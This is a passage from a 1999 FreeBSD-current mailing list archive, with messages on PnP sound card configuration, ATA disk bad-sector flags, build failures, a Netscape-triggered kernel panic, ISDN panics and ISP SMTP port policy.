From owner-freebsd-current  Sun Sep 26  0:41:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 0916714D02
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 00:41:40 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id DAA17408
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 03:41:38 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id DAA00631
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 03:41:44 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 03:41:43 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: current@FreeBSD.ORG
Subject: Loss of Functionality with newpnp
Message-ID: <19990926034143.A510@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

The new PnP code just plain does not work for my PnP AWE64.

If I configure like this:

controller	pnp0
controller	snd0
device		sb0
device		sbxvi0
device		sbmidi0
device		awe0
device		opl0
device		joy0

Which is the way it *should* work, in my understanding, it simply
fails like this:

unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
unknown1: <Game> at port 0x200-0x207 on isa0
unknown2: <WaveTable> at port 0x620-0x623 on isa0

If I configure it the old way:

controller	pnp0
controller	snd0
device		sb0	at isa? port 0x220 irq 5 drq 1
device		sbxvi0	at isa? drq 5
device		sbmidi0	at isa? port 0x330
device		awe0	at isa? port 0x620
device		opl0	at isa? port 0x388
device		joy0	at isa? port 0x200

I get the same failures as above from the PnP code, but the card still
works (mostly) because it has already been configured by the PnP BIOS.
The SB16-compatible portion of the card works OK even if I take PnP
support out of the kernel completely, and always has.

Unfortunately, the AWE device *needs* a little more initialization than
it gets from the BIOS to probe correctly.  With the old PnP code, I used
a userconfig-script, like this:

pnp 1 0 os enable port0 0x220 irq0 5 drq0 1 drq1 5 port1 0x330 port2 0x388
pnp 1 1 os enable port0 0x200
pnp 1 2 os enable port0 0x620 port1 0xa20 port2 0xe20

The first 2 lines have always been unnecessary, but harmless; however, the
3rd line is _absolutely necessary_ to get the AWE to probe.

As far as I can tell, there is no way to duplicate this functionality
with the new PnP code.

Is the new PnP code really so smart that it has no use for user intervention
ever?  My experience indicates that it is not.

It would be very nice if the architects of the new PnP code would add back
this lost functionality.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  3:13:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from boco.fee.vutbr.cz (boco.fee.vutbr.cz [147.229.9.11])
	by hub.freebsd.org (Postfix) with ESMTP id 8D44E14C0D
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 03:13:10 -0700 (PDT)
	(envelope-from cejkar@dcse.fee.vutbr.cz)
Received: from kazi.dcse.fee.vutbr.cz (kazi.dcse.fee.vutbr.cz [147.229.8.12])
	by boco.fee.vutbr.cz (8.9.3/8.9.3) with ESMTP id MAA96452
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:13:09 +0200 (CEST)
Received: (from cejkar@localhost)
	by kazi.dcse.fee.vutbr.cz (8.9.3/8.9.3) id MAA02138
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 12:13:08 +0200 (CEST)
Date: Sun, 26 Sep 1999 12:13:08 +0200
From: Cejka Rudolf <cejkar@dcse.fee.vutbr.cz>
To: current@FreeBSD.ORG
Subject: Re: Boot problems with new -current
Message-ID: <19990926121308.A1826@dcse.fee.vutbr.cz>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.6i
In-Reply-To: <no.id>; from Poul-Henning Kamp on Sat, Sep 25, 1999 at 04:41:14PM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Thanks to both replies - these helped me for staying in -current...

Poul-Henning Kamp wrote (1999/09/25):
> Your disk claims to have bad144 enabled, the ata driver doesn't
> support this.
> If you need bad144 support (ESDI or ST506 disks, you can recognize
> them by the two ribbon cables and their 8+ years of age) you need
> to use the wd driver.
> Otherwise you need to fix your disklabel (by booting with the wd
> driver and fixing it).

Ok: Just run "disklabel -r -e ad0", clear word "badsect"
in "Flags:" line and booting of new kernels is back...
I hope I really don't need to reformat my disk. Or is it possible
there will be another problem?

Soren Schmidt wrote (1999/09/25):
> It seems Cejka Rudolf wrote:

Yes - it was really me :-)

> The ATA driver has no bad144 support, thats probably why you get
> the above message. The reason is that modern ATA disks does internal
> bad block remapping (just as SCSI), and if you have used up all
> the spares you better swap that disk for another one, its going
> bad on you no matter what...

But in earlier versions ATA driver worked for me. Does this mean that
flag "badsect" was silently ignored and now it have an effect on
a panic? Isn't a big warning message sufficient instead of a panic?
Never mind - does't take it as a request for a change. I'm writing this
just only as a warning for others.

I think internal bad block remapping is long time here. But
in the middle of 1996 I have bought a new Western Digital disk 
with some bad sectors and it runs without any problems till today
(and without any new bad sectors - I have tried new disk format
some time ago). Does this mean that I should in such cases make
a complaint in a store if I want to use new ATA driver?

-- 
Rudolf Cejka   (cejkar@dcse.fee.vutbr.cz;  http://www.fee.vutbr.cz/~cejkar)
Brno University of Technology, Faculty of El. Engineering and Comp. Science
Bozetechova 2, 612 66  Brno, Czech Republic


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  3:18:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 5988A14D4D
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 03:18:26 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id MAA65917;
	Sun, 26 Sep 1999 12:18:17 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199909261018.MAA65917@freebsd.dk>
Subject: Re: Boot problems with new -current
In-Reply-To: <19990926121308.A1826@dcse.fee.vutbr.cz> from Cejka Rudolf at "Sep 26, 1999 12:13:08 pm"
To: cejkar@dcse.fee.vutbr.cz (Cejka Rudolf)
Date: Sun, 26 Sep 1999 12:18:17 +0200 (CEST)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Cejka Rudolf wrote:
> I think internal bad block remapping is long time here. But
> in the middle of 1996 I have bought a new Western Digital disk 
> with some bad sectors and it runs without any problems till today
> (and without any new bad sectors - I have tried new disk format
> some time ago). Does this mean that I should in such cases make
> a complaint in a store if I want to use new ATA driver?

Hmm, a modern ATA disk should have NO defects, if it has it is
to be replaced immediately under warranty, if they refuse,
dont buy anything from that vendor again :)

-Søren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  3:54:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58])
	by hub.freebsd.org (Postfix) with ESMTP id D2F5814D34
	for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 03:54:38 -0700 (PDT)
	(envelope-from jhay@zibbi.mikom.csir.co.za)
Received: (from jhay@localhost)
	by zibbi.mikom.csir.co.za (8.9.3/8.9.3) id MAA97105;
	Sun, 26 Sep 1999 12:53:38 +0200 (SAT)
	(envelope-from jhay)
From: John Hay <jhay@mikom.csir.co.za>
Message-Id: <199909261053.MAA97105@zibbi.mikom.csir.co.za>
Subject: Re: make world, attempt 5
In-Reply-To: <19990926090049.B46202@freebie.lemis.com> from Greg Lehey at "Sep 26, 1999 09:00:50 am"
To: grog@lemis.com (Greg Lehey)
Date: Sun, 26 Sep 1999 12:53:38 +0200 (SAT)
Cc: FreeBSD-current@FreeBSD.ORG (FreeBSD current users)
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Are you sure everything is ok on your machine? I have done 4-5 make worlds
in the last 48 hours and except for the perl breakage, haven't had any
other problems. Even make release worked here.

John
-- 
John Hay -- John.Hay@mikom.csir.co.za

> I've been trying for the last 24 hours solid to make a new world.  The
> latest problem is:
> 
> ===> libwrap
> cc -nostdinc -O -pipe -DFACILITY=LOG_AUTH -DHOSTS_ACCESS -DNETGROUP -DDAEMON_UMASK=022  -DREAL_DAEMON_DIR=\"/usr/libexec\" -DPROCESS_OPTIONS  -DSEVERITY=LOG_INFO -DRFC931_TIMEOUT=10  -DHOSTS_DENY=\"/etc/hosts.deny\" -DHOSTS_ALLOW=\"/etc/hosts.allow\"  -DSYS_ERRLIST_DEFINED -DALWAYS_HOSTNAME -I/usr/obj/src/PANIC/src/tmp/usr/include -c /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c -o hosts_access.o
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:245: syntax error before `<'
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:84: warning: `host_match' declared `static' but never defined
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:85: warning: `string_match' declared `static' but never defined
> 
> Could we have a break for those people who would like make world to
> complete?
> 
> Greg
> -- 
> See complete headers for address, home page and phone numbers
> finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  3:56:34 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45])
	by hub.freebsd.org (Postfix) with ESMTP id 05B0A14D34
	for <current@freebsd.org>; Sun, 26 Sep 1999 03:56:26 -0700 (PDT)
	(envelope-from mpp@mpp.pro-ns.net)
Received: (from mpp@localhost)
	by mpp.pro-ns.net (8.9.3/8.9.3) id FAA00403
	for current@freebsd.org; Sun, 26 Sep 1999 05:56:27 -0500 (CDT)
	(envelope-from mpp)
From: Mike Pritchard <mpp@FreeBSD.org>
Message-Id: <199909261056.FAA00403@mpp.pro-ns.net>
Subject: -current panic w/linux netscape
To: current@freebsd.org
Date: Sun, 26 Sep 1999 05:56:27 -0500 (CDT)
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I finally saw my first -current panic in more than 5 months (not a bad
track record).

I have a panic that I can duplicate with a 24 hour old "make world"
and a 4 hour old -current kernel.  If I run the linux netscape (installed
from ports less than a week ago), the kernel panics in copystr().
Minimal gdb output follows.  I'll have to generate a kernel with
debug info for more information.

The linux netscape worked fine with my old kernel from 9/16.
I'm willing to try and track this down, but I hope someone
will pop up and have an idea what is wrong.

-Mike

Script started on Sun Sep 26 05:47:00 1999
mpp 2# gdb -k /usr/src/sys/compile/MPP/kernel /var/crash/vmcore.0
GNU gdb 4.18
(no debugging symbols found)...
IdlePTD 3264512
initial pcb at 29f1c0
panicstr: from debugger
panic messages:
---
Fatal trap 12: page fault while in kernel mode
fault virtual address	= 0x7
fault code		= supervisor write, page not present
instruction pointer	= 0x8:0xc0222d50
stack pointer	        = 0x10:0xcb0bdc80
frame pointer	        = 0x10:0xcb0bdce8
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, def32 1, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 385 (communicator-4.6)
interrupt mask		= none
panic: from debugger
panic: from debugger

dumping to dev #wd/0x50001, offset 131072
dump 191 ... 1
---
#0  0xc013a644 in boot ()
(kgdb) bt
#0  0xc013a644 in boot ()
#1  0xc013a9e9 in panic ()
#2  0xc011f435 in db_panic ()
#3  0xc011f3d5 in db_command ()
#4  0xc011f49a in db_command_loop ()
#5  0xc012151f in db_trap ()
#6  0xc0215210 in kdb_trap ()
#7  0xc02240ac in trap_fatal ()
#8  0xc0223d85 in trap_pfault ()
#9  0xc02239c7 in trap ()
#10 0xc0222d50 in copystr ()
#11 0xc0dc7209 in ?? ()
#12 0xc0dc5fbd in ?? ()
#13 0xc0224316 in syscall ()
#14 0xc0215b06 in Xint0x80_syscall ()
#15 0x28abf564 in ?? ()
-- 
Mike Pritchard
mpp@FreeBSD.org or mpp@mpp.pro-ns.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4: 8:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58])
	by hub.freebsd.org (Postfix) with ESMTP id C3F7514C2C
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:08:12 -0700 (PDT)
	(envelope-from jhay@zibbi.mikom.csir.co.za)
Received: (from jhay@localhost)
	by zibbi.mikom.csir.co.za (8.9.3/8.9.3) id NAA97338;
	Sun, 26 Sep 1999 13:07:55 +0200 (SAT)
	(envelope-from jhay)
From: John Hay <jhay@mikom.csir.co.za>
Message-Id: <199909261107.NAA97338@zibbi.mikom.csir.co.za>
Subject: Re: Beneath The Planet Of The Mondays
In-Reply-To: <199909251752.NAA11233@skynet.ctr.columbia.edu> from Bill Paul at "Sep 25, 1999 01:52:50 pm"
To: wpaul@skynet.ctr.columbia.edu (Bill Paul)
Date: Sun, 26 Sep 1999 13:07:55 +0200 (SAT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It might be possible that Jordan needs to help the machine that build the
-current snaps a little if its /usr/src/release/Makefile isn't updated
automatically. Mark has changed the kerberos distribution name from krb
to krb4. That broke my releases here a few days before I realised what
was wrong.

-current isn't too broken and snaps can be build like you can see at
ftp://ftp.internat.freebsd.org/pub/FreeBSD-snaps/

Now if it will work for you, that is a totally different question. :-)

I like your idea of having the build logs somewhere available though.
Even if it is only the last 200 lines.

John
-- 
John Hay -- John.Hay@mikom.csir.co.za

> Uh, hello? Hi? Is this thing on? *tap* *tap* *squeeeeeeeeeel!* Oops,
> sorry. Listen, does anybody have any idea why there hasn't been a
> -current snapshot on current.freebsd.org since Septembet 18th?
> Anyone? People do realize that make release is not the same as
> make buildworld, and are testing the former at least once in a while,
> right?
> 
> I realize this is -current and all and mistakes happen, but make
> release basically constitutes a 'full build' of FreeBSD and if it
> doesn't work, especially for a whole week, it looks kinda bad.
> Unfortunately, when the snapshots on current.freebsd.org fall over,
> nobody knows exactly what causes the problem except Jordan, and he
> keeps gnawing through his limbs to excape the traps I set for him.
> I wish the build logs were online somewhere (hint hint).
> 
> When somebody breaks the build at M$, the offender is made to wear
> a viking hat. I would suggest a similar punishment for those who
> break our own build, except that I suspect many of you are wearing
> viking hats already.
> 
> -Bill
>  
> -- 
> =============================================================================
> -Bill Paul            (212) 854-6020 | System Manager, Master of Unix-Fu
> Work:         wpaul@ctr.columbia.edu | Center for Telecommunications Research
> Home:  wpaul@skynet.ctr.columbia.edu | Columbia University, New York City
> =============================================================================
>  "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness"
> =============================================================================
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4:12:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135])
	by hub.freebsd.org (Postfix) with ESMTP id 04ADE14D34
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:12:11 -0700 (PDT)
	(envelope-from vallo@matti.ee)
Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87])
	by solaris.matti.ee (8.9.3/8.9.3) with ESMTP id OAA20780;
	Sun, 26 Sep 1999 14:11:58 +0300 (EET DST)
Received: by myhakas.matti.ee (Postfix, from userid 1000)
	id 2415CEE; Sun, 26 Sep 1999 14:12:10 +0300 (EEST)
Date: Sun, 26 Sep 1999 14:12:10 +0300
From: Vallo Kallaste <vallo@matti.ee>
To: Edwin Culp <eculp@MexComUSA.net>
Cc: "current@FreeBSD.ORG" <current@FreeBSD.ORG>
Subject: Re: XFree86-3.3.5/kde-1.1.2/Current today.
Message-ID: <19990926141209.A96223@myhakas.matti.ee>
Reply-To: vallo@matti.ee
References: <37EC1328.AFC8F0AB@MexComUSA.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mutt 0.95.6i
In-Reply-To: <37EC1328.AFC8F0AB@MexComUSA.net>; from Edwin Culp on Sat, Sep 25, 1999 at 12:11:20AM +0000
Organization: =?iso-8859-1?Q?AS_Matti_B=FCrootehnika?=
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, Sep 25, 1999 at 12:11:20AM +0000, Edwin Culp <eculp@MexComUSA.net> wrote:

> This morning I made world, updated XFree86 and kde, which didn´t seem to
> be a problem until I started X and nowI get revers Icon's - silhouettes
> on the kde background.  I get no text but a block where the text is and
> the mouse will often change to a block.  I have never seen anything like
> it.  I have recompiled X-11 3 times and kde twice.  I have erased the
> .kde, .kderc, .klogin, Desktop each time.  I have no idea where to
> look.  It was fine yesterday with XFree86-3.3.4 and kde-1.1.1.  Also
> tried twm and same problem so I can assume the it isn´t kde but .. .
> Does the same at -bpp 8/16/24/32 and 640x,  800x y 1024x.
> 
> The video card is a sis-6326 8MB and am running the SVGA server.

My SiS530 has great problems with using 8MB of memory. I get garbled
screen and block cursor everytime. With 4MB works wonderfully, try it.
Mine is settable in the machine BIOS, but you can also limit the memory
in the XF86Config.
-- 

Vallo Kallaste
vallo@matti.ee


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4:23:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252])
	by hub.freebsd.org (Postfix) with ESMTP id 08655152BC
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:23:20 -0700 (PDT)
	(envelope-from roberto@keltia.freenix.fr)
Received: (from uucp@localhost)
	by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id NAA20222
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 13:23:20 +0200 (CEST)
	(envelope-from roberto@keltia.freenix.fr)
Received: by keltia.freenix.fr (Postfix, from userid 101)
	id 18FFF8711; Sun, 26 Sep 1999 12:58:58 +0200 (CEST)
Date: Sun, 26 Sep 1999 12:58:58 +0200
From: Ollivier Robert <roberto@keltia.freenix.fr>
To: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926125858.A18948@keltia.freenix.fr>
Mail-Followup-To: current@FreeBSD.ORG
References: <19990926034143.A510@dmaddox.conterra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.0pre2i
In-Reply-To: <19990926034143.A510@dmaddox.conterra.com>
X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5593 AMD-K6 MMX @ 200 MHz
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

According to Donald J . Maddox:
> I get the same failures as above from the PnP code, but the card still
> works (mostly) because it has already been configured by the PnP BIOS.
> The SB16-compatible portion of the card works OK even if I take PnP
> support out of the kernel completely, and always has.

Can you try to new newpcm ?

controller pnp0
device pcm0

> The first 2 lines have always been unnecessary, but harmless; however, the
> 3rd line is _absolutely necessary_ to get the AWE to probe.

The above works for my AWE64.

pcm0: <SB16 PnP> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
unknown0: <Game> at port 0x200-0x207 on isa0
unknown1: <WaveTable> at port 0x620-0x623 on isa0

FreeBSD Audio Driver (newpcm) Sep  9 1999 00:19:32
Installed devices:
pcm0: <SoundBlaster 16 4.16> at io 0x220 irq 5 drq 1:5 (1/1 channels duplex)

-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr
FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep  9 00:20:51 CEST 1999



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4:49:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: from awfulhak.org (dynamic-123.max1-du-ws.dialnetwork.pavilion.co.uk [212.74.8.123])
	by hub.freebsd.org (Postfix) with ESMTP id C23F914C4A
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:49:21 -0700 (PDT)
	(envelope-from brian@Awfulhak.org)
Received: from keep.lan.Awfulhak.org (root@keep.lan.Awfulhak.org [172.16.0.8])
	by awfulhak.org (8.9.3/8.9.3) with ESMTP id MAA00939;
	Sun, 26 Sep 1999 12:49:05 +0100 (BST)
	(envelope-from brian@lan.awfulhak.org)
Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1])
	by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id MAA23849;
	Sun, 26 Sep 1999 12:25:22 +0100 (BST)
	(envelope-from brian@keep.lan.Awfulhak.org)
Message-Id: <199909261125.MAA23849@keep.lan.Awfulhak.org>
X-Mailer: exmh version 2.0.2 2/24/98
To: Mark Knight <markk@knigma.org>
Cc: freebsd-current@FreeBSD.ORG
Reply-To: freebsd-isdn@FreeBSD.ORG
Subject: Re: Panic with BT Speedway / AVM Fritz!PCI ISDN 
In-reply-to: Your message of "Sat, 25 Sep 1999 17:49:33 BST."
             <W9pElAAd0P73EwMI@knigma.org> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 12:25:22 +0100
From: Brian Somers <brian@Awfulhak.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[redirected to freebsd-isdn]

> Until installing a BT Speedway (AVM Fritz!PCI), ISDN card, my early
> August 4.0-C box was stable.
> 
> Since then, I've had numerous panics, complete with advice to increase
> NTPBUFFERS / maxusers. Despite a new world as of 5/9/99 and greatly

NMBCLUSTERS ?

> increased kernel parameters the panics have not been eliminated.
> 
> At the moment I'm only using the card to receive voice calls, triggering
> a call to my ISP. Panics seem related to number of calls since last
> booted, some sort of leak?
> 
> Before I start serious debugging, has anyone else got this problem, or
> even better a solution?

FWIW, I've been seeing the same thing with an ISA Teles S0/16.3.  I 
haven't reported anything because I just haven't had the time to get 
any useful information together, and I haven't got any workarounds.

Possibly unrelated:

I also see an instable second rbch device which I belive is isdnd's 
fault:  When the machine is originally booted, bringing up both links 
is possible, but when the second link is disconnected it won't come 
up again.

Killing and restarting isdnd will fix this.

I'm using user-ppp (of course).  When I originally got this stuff 
working it was with 0.82.10, so my plan is to go back to that version 
of isdnd and roll the diffs in one at a time to find out what causes 
the instability.

> Best regards,
> -- 
> Mark Knight

-- 
Brian <brian@Awfulhak.org>                        <brian@FreeBSD.org>
      <http://www.Awfulhak.org>                   <brian@OpenBSD.org>
Don't _EVER_ lose your sense of humour !          <brian@FreeBSD.org.uk>




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4:49:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from awfulhak.org (dynamic-123.max1-du-ws.dialnetwork.pavilion.co.uk [212.74.8.123])
	by hub.freebsd.org (Postfix) with ESMTP id 906A31532E
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:49:27 -0700 (PDT)
	(envelope-from brian@Awfulhak.org)
Received: from keep.lan.Awfulhak.org (root@keep.lan.Awfulhak.org [172.16.0.8])
	by awfulhak.org (8.9.3/8.9.3) with ESMTP id MAA00966;
	Sun, 26 Sep 1999 12:49:23 +0100 (BST)
	(envelope-from brian@lan.awfulhak.org)
Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1])
	by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id LAA23749;
	Sun, 26 Sep 1999 11:52:35 +0100 (BST)
	(envelope-from brian@keep.lan.Awfulhak.org)
Message-Id: <199909261052.LAA23749@keep.lan.Awfulhak.org>
X-Mailer: exmh version 2.0.2 2/24/98
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: nate@mt.sri.com (Nate Williams),
	gary@eyelab.psy.msu.edu (Gary Schrock), current@FreeBSD.ORG
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Fri, 24 Sep 1999 11:47:46 PDT."
             <199909241847.LAA03621@gndrsh.dnsmgr.net> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 11:52:35 +0100
From: Brian Somers <brian@Awfulhak.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Basically, I think not allowing ISP's to allow the Dialup lines to
> > forward email as a good thing, but for them to limit was businesses do
> > with their IP traffic is simply too big brother'ish, no matter what
> > their contract states.
> 
> If _we_ don't start to do something about it, big brother _is_ going
> to do something about it.  Trust me on this one, being a member of the
> USPA I know that we are far better off implementing our own (as ISP's)
> set of safe gaurds that help eliminate certain undesirable behavior.
[.....]

I think it's up to the ISP what default policies they have, and I 
also think that this sort of policy is a good default... but only as 
long as the ISP allows exceptions.  As a paying subscriber with a 
clean record I *must* be allowed to ask for a hole through your 
firewall.

This protects both sides.

> -- 
> Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net

-- 
Brian <brian@Awfulhak.org>                        <brian@FreeBSD.org>
      <http://www.Awfulhak.org>                   <brian@OpenBSD.org>
Don't _EVER_ lose your sense of humour !          <brian@FreeBSD.org.uk>




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  4:49:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from awfulhak.org (dynamic-123.max1-du-ws.dialnetwork.pavilion.co.uk [212.74.8.123])
	by hub.freebsd.org (Postfix) with ESMTP id E0EFC153A7
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 04:49:34 -0700 (PDT)
	(envelope-from brian@Awfulhak.org)
Received: from keep.lan.Awfulhak.org (root@keep.lan.Awfulhak.org [172.16.0.8])
	by awfulhak.org (8.9.3/8.9.3) with ESMTP id MAA00959;
	Sun, 26 Sep 1999 12:49:21 +0100 (BST)
	(envelope-from brian@lan.awfulhak.org)
Received: from keep.lan.Awfulhak.org (brian@localhost.lan.Awfulhak.org [127.0.0.1])
	by keep.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id MAA23799;
	Sun, 26 Sep 1999 12:12:00 +0100 (BST)
	(envelope-from brian@keep.lan.Awfulhak.org)
Message-Id: <199909261112.MAA23799@keep.lan.Awfulhak.org>
X-Mailer: exmh version 2.0.2 2/24/98
To: Mark Murray <mark@grondar.za>
Cc: David Wolfskill <dhw@whistle.com>, current@FreeBSD.ORG,
	freebsd@gndrsh.dnsmgr.net
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Fri, 24 Sep 1999 17:50:42 +0200."
             <199909241550.RAA91996@gratis.grondar.za> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 12:12:00 +0100
From: Brian Somers <brian@Awfulhak.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I have some experience (from anti-spam mailing lists) of ISP's who
> are quite prepared to open port 25 for customers who ask. This is
> very good; SMTP has no authentication at all, and it is this
> "free-for-all" feature that spammers abuse. However - with a view
[.....]

I belive sendmail-8.10 will have smtp authentication built in.  
There's an rfc too (2554) but I can't say that they're the same thing 
for sure.

> M
> --
> Mark Murray
> Join the anti-SPAM movement: http://www.cauce.org

-- 
Brian <brian@Awfulhak.org>                        <brian@FreeBSD.org>
      <http://www.Awfulhak.org>                   <brian@OpenBSD.org>
Don't _EVER_ lose your sense of humour !          <brian@FreeBSD.org.uk>




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26  5: 1:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162])
